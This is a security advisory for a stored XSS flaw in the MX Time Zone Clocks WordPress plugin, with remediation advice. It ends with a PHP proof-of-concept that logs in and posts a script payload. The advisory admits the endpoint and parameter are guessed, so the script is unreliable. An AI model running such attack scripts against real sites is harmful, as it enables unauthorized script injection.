Atomic Edge analysis of CVE-2025-62146 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the MX Time Zone Clocks WordPress plugin. Attackers with contributor-level access or higher can inject malicious scripts into site pages. The injected scripts execute when a user views the compromised page. The CVSS score of 6.4 indicates a medium severity issue with scope change.
The root cause is improper neutralization of input during web page generation (CWE-79). The vulnerability description states insufficient input sanitization and output escaping. Atomic Edge research infers that the plugin likely fails to properly sanitize user-supplied data before storing it in the database or fails to escape it before output in a frontend context. Without a code diff, this conclusion is based on the CWE classification and the standard WordPress security model for stored XSS.
Exploitation requires an authenticated attacker with at least contributor-level permissions. The attacker would likely target a plugin-specific administrative interface or a shortcode parameter that accepts user input. A typical payload would be a JavaScript block like `alert(document.domain)` injected into a field the plugin uses to generate clock displays. The malicious script would then be stored and served to all visitors of the affected page.
Remediation requires implementing proper input validation and output escaping. The plugin developers should sanitize all user-controlled data on input using functions like `sanitize_text_field`. They must also escape all dynamic output on render using context-appropriate functions like `esc_html` or `wp_kses`. A nonce check should also be added to the affected form handler to prevent CSRF attacks.
Successful exploitation allows attackers to execute arbitrary JavaScript in the context of a victim’s browser session. This can lead to session hijacking, defacement, or redirection to malicious sites. For administrators, this could facilitate privilege escalation or site takeover. The stored nature means a single injection affects all subsequent visitors to the compromised page.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-62146 - MX Time Zone Clocks <= 5.1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting
<?php
// CONFIGURATION
$target_url = 'https://example.com';
$username = 'contributor_user';
$password = 'contributor_pass';
// ASSUMPTIONS: The plugin likely has an AJAX endpoint or admin form that accepts unsanitized input for clock settings.
// A common pattern is a settings panel accessible to contributors via /wp-admin/admin-ajax.php.
// The payload is injected into a parameter like 'clock_title' or 'timezone_label'.
$payload = '<script>alert("Atomic Edge XSS Test: "+document.domain);</script>';
// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
// Check login success by looking for dashboard elements or wp-admin redirect
if (strpos($login_response, 'wp-admin') === false) {
die('Login failed. Check credentials.');
}
// ASSUMED VULNERABLE ENDPOINT: Based on plugin slug 'mx-time-zone-clocks', a common AJAX action would be 'mx_time_zone_clocks_save_settings'.
// The exact parameter name is inferred; it could be 'clock_data', 'label', or 'title'.
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'mx_time_zone_clocks_save_settings',
'clock_title' => $payload, // Injected parameter
'nonce' => 'inferred_or_bypassed_nonce' // Nonce may be missing or bypassable
]));
$ajax_response = curl_exec($ch);
curl_close($ch);
// Check if the request was accepted (response may be JSON)
echo 'Exploit attempt completed. Check frontend pages with the plugin shortcode for XSS popup.n';
echo 'Response snippet: ' . substr($ajax_response, 0, 200) . 'n';
?>
